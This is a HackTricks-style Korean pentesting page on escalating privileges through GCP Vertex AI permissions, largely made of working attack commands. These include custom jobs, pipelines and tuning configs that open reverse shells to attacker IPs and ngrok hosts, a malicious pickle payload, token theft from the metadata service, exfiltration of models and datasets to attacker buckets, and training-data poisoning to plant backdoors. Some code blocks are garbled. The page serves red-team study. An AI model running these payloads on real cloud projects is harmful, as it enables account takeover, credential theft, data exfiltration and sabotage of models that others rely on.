GCP - Vertex AI Privesc

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Vertex AI

Vertex AI에 대한 자세한 내용은 다음을 확인하세요:

GCP - Vertex AI Enum

런타임 메타데이터 서비스, 기본 Vertex AI 서비스 에이전트, 그리고 consumer/producer/tenant 리소스로의 크로스-프로젝트 피벗을 이용한 Agent Engine / Reasoning Engine 포스트 익스플로이테이션 경로는 다음을 확인하세요:

GCP - Vertex AI Post Exploitation

aiplatform.customJobs.create, iam.serviceAccounts.actAs

aiplatform.customJobs.create 권한과 대상 서비스 계정에 대한 iam.serviceAccounts.actAs가 있으면, 공격자는 권한이 상승된 상태로 임의의 코드를 실행할 수 있습니다.

이것은 공격자가 제어하는 코드를 실행하는 custom training job을 생성해서 동작합니다(커스텀 컨테이너 또는 Python 패키지). --service-account 플래그로 권한이 있는 서비스 계정을 지정하면, 해당 작업은 그 서비스 계정의 권한을 상속합니다. 작업은 Google이 관리하는 인프라에서 실행되며 GCP metadata service에 접근할 수 있어 서비스 계정의 OAuth 액세스 토큰을 추출할 수 있습니다.

Impact: 대상 서비스 계정 권한으로의 완전한 권한 상승.

Create custom job with reverse shell ```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ --region= \ --display-name=revshell-job \ --worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \ --command=sh \ --args=-c,"curl http://attacker.com" \ --service-account=@.iam.gserviceaccount.com

On your attacker machine, start a listener first:

nc -lvnp 4444

Once connected, you can extract the token with:

curl -H ‘Metadata-Flavor: Google’ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Method 2: Python reverse shell (if bash reverse shell is blocked)

gcloud ai custom-jobs create
–region=
–display-name=revshell-job
–worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest
–command=sh
–args=-c,“python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])’”
–service-account=@.iam.gserviceaccount.com

</details>

<details>

<summary>대안: 로그에서 토큰 추출</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=token-exfil-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com

# Monitor the job logs to get the token
gcloud ai custom-jobs stream-logs <job-id> --region=<region>

aiplatform.models.upload, aiplatform.models.get

이 기법은 모델을 Vertex AI에 업로드한 뒤, 해당 모델을 endpoint deployment나 batch prediction job을 통해 권한이 상승된 상태에서 코드를 실행하도록 이용하여 privilege escalation을 달성합니다.

Note

이 공격을 수행하려면 전 세계에서 읽을 수 있는 GCS 버킷이 있거나 모델 아티팩트를 업로드할 새 버킷을 만들어야 합니다.

reverse shell이 포함된 악성 pickled model 업로드 ```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded cat > create_malicious_model.py <<'EOF' import pickle

class MaliciousModel: def reduce(self): import subprocess cmd = “bash -i >& /dev/tcp/YOUR-IP/4444 0>&1” return (subprocess.Popen, ([‘/bin/bash’, ‘-c’, cmd],))

Save malicious model

with open(‘model.pkl’, ‘wb’) as f: pickle.dump(MaliciousModel(), f) EOF

python3 create_malicious_model.py

Upload to GCS

gsutil cp model.pkl gs://your-bucket/malicious-model/

Upload model (reverse shell executes when endpoint loads it during deployment)

gcloud ai models upload
–region=
–artifact-uri=gs://your-bucket/malicious-model/
–display-name=malicious-sklearn
–container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest

On attacker: nc -lvnp 4444 (shell connects when deployment starts)

</details>

<details>

<summary>container reverse shell을 사용하여 모델 업로드</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell

# Generate a fake model we need in a storage bucket in order to fake-run it later
python3 -c '
import pickle
pickle.dump({}, open('model.pkl', 'wb'))
'

# Upload to GCS
gsutil cp model.pkl gs://any-bucket/dummy-path/

# Upload model with reverse shell in container args
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://any-bucket/dummy-path/ \
--display-name=revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080


# On attacker machine: nc -lvnp 4444
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

[!DANGER] 악성 모델을 업로드한 후 공격자는 누군가가 모델을 사용하기를 기다리거나 엔드포인트 배포 또는 배치 예측 작업을 통해 직접 모델을 실행할 수 있습니다.

iam.serviceAccounts.actAs, ( aiplatform.endpoints.create, aiplatform.endpoints.deploy, aiplatform.endpoints.get ) or ( aiplatform.endpoints.setIamPolicy )

프로젝트에서 모델을 엔드포인트에 생성 및 배포하거나 엔드포인트의 IAM 정책을 수정할 수 있는 권한이 있다면, 업로드된 악성 모델을 이용해 privilege escalation을 달성할 수 있습니다. 이전에 업로드된 악성 모델 중 하나를 엔드포인트를 통해 트리거하려면 다음을 수행하면 됩니다:

엔드포인트에 악성 모델 배포 ```bash # Create an endpoint gcloud ai endpoints create \ --region= \ --display-name=revshell-endpoint

Deploy with privileged service account

gcloud ai endpoints deploy-model
–region=
–model=
–display-name=revshell-deployment
–service-account=@.iam.gserviceaccount.com
–machine-type=n1-standard-2
–min-replica-count=1

</details>


#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`

권한이 있어 **batch prediction jobs**를 생성하고 서비스 계정으로 실행할 수 있으면 metadata service에 접근할 수 있습니다. 악성 코드는 batch prediction 과정에서 **custom prediction container** 또는 **malicious model**에서 실행됩니다.

**참고**: Batch prediction jobs는 REST API나 Python SDK를 통해서만 생성할 수 있습니다( no gcloud CLI support ).

> [!NOTE]
> 이 공격을 수행하려면 먼저 악성 모델을 업로드해야 합니다(위의 `aiplatform.models.upload` 섹션 참조) 또는 reverse shell code가 포함된 custom prediction container를 사용해야 합니다.

<details>

<summary>malicious model로 batch prediction job 생성</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/dummy-model/ \
--display-name=batch-revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080

# Step 2: Create dummy input file for batch prediction
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl

# Step 3: Create batch prediction job using that malicious model
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="<model-id-from-step-1>"
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
-d '{
"displayName": "batch-exfil-job",
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
"inputConfig": {
"instancesFormat": "jsonl",
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
},
"outputConfig": {
"predictionsFormat": "jsonl",
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
},
"dedicatedResources": {
"machineSpec": {
"machineType": "n1-standard-2"
},
"startingReplicaCount": 1,
"maxReplicaCount": 1
},
"serviceAccount": "'${TARGET_SA}'"
}'

# On attacker machine: nc -lvnp 4444
# The reverse shell executes when the batch job starts processing predictions
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

aiplatform.models.export

만약 당신이 models.export 권한을 가지고 있다면, 제어하는 GCS 버킷으로 모델 아티팩트를 내보내 민감한 학습 데이터나 모델 파일에 접근할 수 있습니다.

Note

이 공격을 수행하려면 모두가 읽기 및 쓰기가 가능한 GCS 버킷이 있거나 모델 아티팩트를 업로드할 새 버킷을 생성해야 합니다.

모델 아티팩트를 GCS 버킷으로 내보내기 ```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" REGION="us-central1" MODEL_ID="target-model-id"

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export”
-d ‘{ “outputConfig”: { “exportFormatId”: “custom-trained”, “artifactDestination”: { “outputUriPrefix”: “gs://your-controlled-bucket/exported-models/” } } }’

Wait for the export operation to complete, then download

gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./

</details>

### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`

임의의 컨테이너로 여러 단계를 실행하는 **ML pipeline jobs**를 생성하여 reverse shell을 통해 privilege escalation을 달성합니다.

Pipelines는 각 구성 요소가 서로 다른 컨테이너와 구성을 사용할 수 있는 multi-stage attacks를 지원하기 때문에 privilege escalation에 특히 강력합니다.

> [!NOTE]
> 파이프라인 루트로 사용할 수 있도록 world writable GCS 버킷이 필요합니다.

<details>

<summary>Vertex AI SDK 설치</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform
reverse shell 컨테이너로 파이프라인 작업 생성 ```python #!/usr/bin/env python3 import json import subprocess

PROJECT_ID = “” REGION = “us-central1” TARGET_SA = “

Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)

pipeline_spec = { “schemaVersion”: “2.1.0”, “sdkVersion”: “kfp-2.0.0”, “pipelineInfo”: { “name”: “data-processing-pipeline” }, “root”: { “dag”: { “tasks”: { “process-task”: { “taskInfo”: { “name”: “process-task” }, “componentRef”: { “name”: “comp-process” } } } } }, “components”: { “comp-process”: { “executorLabel”: “exec-process” } }, “deploymentSpec”: { “executors”: { “exec-process”: { “container”: { “image”: “python:3.11-slim”, “command”: [“python3”], “args”: [“-c”, “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘4.tcp.eu.ngrok.io’,17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([‘/bin/bash’,‘-i’])”] } } } } }

Create the request body

request_body = { “displayName”: “ml-training-pipeline”, “runtimeConfig”: { “gcsOutputDirectory”: “gs://gstorage-name/folder” }, “pipelineSpec”: pipeline_spec, “serviceAccount”: TARGET_SA }

Get access token

token_result = subprocess.run( [“gcloud”, “auth”, “print-access-token”], capture_output=True, text=True, check=True ) access_token = token_result.stdout.strip()

Submit via REST API

import requests

url = f“https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs“ headers = { “Authorization”: f“Bearer {access_token}“, “Content-Type”: “application/json” }

print(f“Submitting pipeline job to {url}“) response = requests.post(url, headers=headers, json=request_body)

if response.status_code in [200, 201]: result = response.json() print(f“✓ Pipeline job submitted successfully!“) print(f” Job name: {result.get(‘name’, ‘N/A’)}“) print(f” Check your reverse shell listener for connection“) else: print(f“✗ Error: {response.status_code}“) print(f” {response.text}“)

</details>


### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`

사용자 정의 학습 컨테이너를 통해 권한이 상승된 상태로 임의의 코드를 실행하는 **hyperparameter tuning jobs**를 생성합니다.

Hyperparameter tuning jobs는 서로 다른 하이퍼파라미터 값을 가진 여러 트레이닝 실험을 병렬로 실행할 수 있게 해줍니다. reverse shell 또는 exfiltration 명령을 포함한 악성 컨테이너를 지정하고 이를 권한이 높은 service account와 연결하면 privilege escalation을 달성할 수 있습니다.

**Impact**: 대상 service account의 권한으로의 완전한 privilege escalation.

<details>

<summary>reverse shell이 포함된 hyperparameter tuning job 생성</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF

# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml

# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

aiplatform.datasets.export

민감한 정보를 포함할 수 있는 학습 데이터를 exfiltrate하기 위해 데이터셋을 내보냅니다.

참고: 데이터셋 작업은 REST API 또는 Python SDK가 필요합니다 (데이터셋에 대한 gcloud CLI 지원 없음).

데이터셋에는 종종 원본 학습 데이터가 포함되어 있으며, 여기에는 PII, 기밀 비즈니스 데이터 또는 프로덕션 모델 학습에 사용된 기타 민감한 정보가 포함될 수 있습니다.

학습 데이터를 exfiltrate하기 위해 데이터셋 내보내기 ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" REGION="us-central1"

curl -s -X GET
-H “Authorization: Bearer $(gcloud auth print-access-token)”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets”

Step 2: Export a dataset to your own bucket using REST API

DATASET_ID=“

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export”
-d ‘{ “exportConfig”: { “gcsDestination”: {“outputUriPrefix”: “gs://your-controlled-bucket/exported-data/”} } }’

The export operation runs asynchronously and will return an operation ID

Wait a few seconds for the export to complete

Step 3: Download the exported data

gsutil ls -r gs://your-controlled-bucket/exported-data/

Download all exported files

gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./

Step 4: View the exported data

The data will be in JSONL format with references to training data locations

cat exported-data//data-.jsonl

The exported data may contain:

- References to training images/files in GCS buckets

- Dataset annotations and labels

- PII (Personally Identifiable Information)

- Sensitive business data

- Internal documents or communications

- Credentials or API keys in text data

</details>


### `aiplatform.datasets.import`

기존 데이터셋에 악성 또는 오염된 데이터를 가져와 **모델 학습을 조작하고 백도어를 도입**합니다.

**Note**: Dataset 작업은 REST API 또는 Python SDK가 필요합니다 (datasets에 대한 gcloud CLI 지원 없음).

훈련에 사용되는 데이터셋에 정교하게 조작된 데이터를 가져오면 공격자는 다음을 수행할 수 있습니다:
- 모델에 백도어를 도입 (trigger-based misclassification)
- 훈련 데이터를 오염시켜 모델 성능 저하
- 모델이 정보를 leak하도록 유도하기 위해 데이터 주입
- 특정 입력에 대해 모델 동작 조작

이 공격은 특히 다음에 사용되는 데이터셋을 대상으로 할 때 효과적입니다:
- 이미지 분류 (잘못 라벨된 이미지 주입)
- 텍스트 분류 (편향되거나 악의적인 텍스트 주입)
- 객체 탐지 (바운딩 박스 조작)
- 추천 시스템 (가짜 선호도 주입)

<details>

<summary>데이터셋에 오염된 데이터 가져오기</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"

curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"

# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF

# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF

# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/

# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'

# The import operation runs asynchronously and will return an operation ID

# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"

# The dataItemCount should increase after successful import

공격 시나리오:

백도어 공격 - 이미지 분류 ```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification # Upload backdoor trigger images labeled as the target class echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl gsutil cp backdoor.jsonl gs://your-bucket/attacks/ # Import into dataset - model will learn to classify trigger pattern as "authorized_user" ```
Label flipping attack ```bash # Scenario 2: Label Flipping Attack # Systematically mislabel a subset of data to degrade model accuracy # Particularly effective for security-critical classifications for i in {1..50}; do echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}" done > label_flip.jsonl # This causes legitimate samples to be labeled as malicious ```
model extraction을 위한 Data poisoning ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior # Useful for model stealing attacks cat > extraction_queries.jsonl <<'EOF' {"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}} {"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}} EOF ```
특정 대상에 대한 표적 공격 ```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects cat > targeted_poison.jsonl <<'EOF' {"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}} EOF ```

[!DANGER] Data poisoning attacks can have severe consequences:

  • 보안 시스템: 안면 인식 또는 이상 탐지를 우회
  • 사기 탐지: 특정 사기 패턴을 무시하도록 모델을 학습시킴
  • 콘텐츠 중재: 유해한 콘텐츠가 안전한 것으로 분류되게 함
  • 의료 AI: 중요한 건강 상태를 잘못 분류
  • 자율 시스템: 안전에 중요한 결정에서 객체 감지를 조작함

영향:

  • 특정 트리거에서 오분류하는 백도어가 심긴 모델
  • 모델 성능 및 정확도 저하
  • 특정 입력을 차별하는 편향된 모델
  • 모델 동작을 통한 정보 유출
  • 장기적 지속성(오염된 데이터로 훈련된 모델은 백도어를 물려받음)

aiplatform.notebookExecutionJobs.create, iam.serviceAccounts.actAs

Warning

Note

사용 중단된 API: The aiplatform.notebookExecutionJobs.create API는 Vertex AI Workbench Managed Notebooks의 사용 중단의 일환으로 더 이상 권장되지 않습니다. 권장되는 현대적 방법은 Vertex AI Workbench Executor를 사용하여 노트북을 aiplatform.customJobs.create로 실행하는 것입니다(위에서 이미 문서화됨). Vertex AI Workbench Executor는 지정된 서비스 계정으로 Vertex AI custom training 인프라에서 실행되는 노트북 실행을 예약할 수 있게 합니다. 본질적으로 이는 customJobs.create의 편의 래퍼입니다. For privilege escalation via notebooks: 위에 문서화된 aiplatform.customJobs.create 메서드를 사용하세요 — 이 방법이 더 빠르고 더 신뢰할 수 있으며 Workbench Executor와 동일한 기반 인프라를 사용합니다.

The following technique is provided for historical context only and is not recommended for use in new assessments.

임의의 코드를 실행하는 Jupyter notebooks를 실행하는 노트북 실행 작업을 생성합니다.

노트북 작업은 서비스 계정을 사용한 대화형 스타일의 코드 실행에 이상적입니다. Python 코드 셀과 shell 명령을 지원하기 때문입니다.

악성 노트북 파일 생성 ```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' { "cells": [ { "cell_type": "code", "source": [ "import subprocess\n", "token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n", "print(token.decode())" ] } ], "metadata": {}, "nbformat": 4 } EOF

Upload to GCS

gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb

</details>

<details>

<summary>대상 서비스 계정으로 노트북 실행</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
REGION="us-central1"
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"


curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
-d '{
"displayName": "data-analysis-job",
"gcsNotebookSource": {
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
},
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
"serviceAccount": "'${TARGET_SA}'",
"executionTimeout": "3600s"
}'

# Monitor job for token in output
# Notebooks execute with the specified service account's permissions

참고 자료

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기